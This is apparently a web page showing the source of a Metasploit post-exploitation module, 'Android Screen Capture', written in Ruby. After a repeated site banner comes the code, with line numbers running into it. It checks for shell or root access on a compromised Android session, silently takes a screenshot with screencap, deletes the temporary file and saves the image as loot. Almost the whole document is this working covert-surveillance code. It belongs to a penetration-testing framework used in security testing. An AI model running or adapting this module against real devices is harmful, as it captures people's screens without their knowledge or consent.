Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/android/capture/screen.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Common7include Msf::Post::File89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Android Screen Capture',14'Description' => %q{15This module takes a screenshot of the target phone.16},17'License' => MSF_LICENSE,18'Author' => [ 'timwr' ],19'Platform' => [ 'android' ],20'SessionTypes' => [ 'shell', 'meterpreter' ]21)22)2324register_options(25[26OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']),27OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap'])28]29)30end3132def run33id = cmd_exec('id')34unless id =~ (/root/) || id =~ (/shell/)35print_error('This module requires shell or root permissions')36return37end3839exe_path = datastore['EXE_PATH']40tmp_path = datastore['TMP_PATH']41if !file?(exe_path)42print_error('Aborting, screencap binary not found.')43return44end4546begin47file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"48cmd_exec("#{exe_path} -p #{file}")49print_good('Downloading screenshot...')50data = read_file(file)51file_rm(file)52rescue ::Rex::Post::Meterpreter::RequestError => e53print_error('Error taking the screenshot')54vprint_error("#{e.class} #{e} #{e.backtrace}")55return56end5758unless data59print_error('No data for screenshot')60return61end6263begin64fn = 'screenshot.png'65location = store_loot('screen_capture.screenshot', 'image/png', session, data, fn, 'Screenshot')66print_good("Screenshot saved at #{location}")67rescue ::IOError, ::Errno::ENOENT => e68print_error('Error storing screenshot')69vprint_error("#{e.class} #{e} #{e.backtrace}")70return71end72end73end747576